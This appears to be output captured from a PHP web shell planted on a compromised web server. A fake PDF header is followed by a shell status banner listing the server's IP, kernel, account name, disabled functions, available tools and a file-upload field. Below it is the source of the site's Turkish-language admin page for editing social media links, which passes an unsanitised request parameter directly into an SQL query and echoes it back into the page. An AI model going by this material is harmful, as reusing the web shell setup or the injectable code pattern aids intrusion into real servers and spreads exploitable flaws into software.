%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.24 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/admin/ |
Upload File : |
<?php
include 'lib/include.php';
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$social_id = $_POST['selected-social'];
}else{
$social_id = $_GET['selected-social'];
}
$social_result = $ceha->query("SELECT * FROM tbl_social WHERE id='$social_id' AND active='1'");
$social = $social_result->fetch_array();
include 'header.php';
?>
<div class="row">
<div class="col-md-12 grid-margin stretch-card">
<div class="card">
<div class="card-body">
<h4 class="card-title">Sosyal Medya</h4>
<p class="card-description">
Düzenle
</p>
<form action="dba/social-update.php?selected-social=<?php echo $social_id; ?>" method="post" enctype="multipart/form-data" class="forms-sample">
<div class="form-group">
<label>Facebook</label>
<input type="text" class="form-control" name="facebook" value="<?php echo $social['facebook']; ?>">
</div>
<div class="form-group">
<label>Twitter</label>
<input type="text" class="form-control" name="twitter" value="<?php echo $social['twitter']; ?>">
</div>
<div class="form-group">
<label>Instagram</label>
<input type="text" class="form-control" name="instagram" value="<?php echo $social['instagram']; ?>">
</div>
<div class="form-group">
<label>Linkedin</label>
<input type="text" class="form-control" name="linkedin" value="<?php echo $social['linkedin']; ?>">
</div>
<button type="submit" class="btn btn-primary mr-2">Kaydet</button>
</form>
</div>
</div>
</div>
</div>
<?php include 'footer.php'; ?>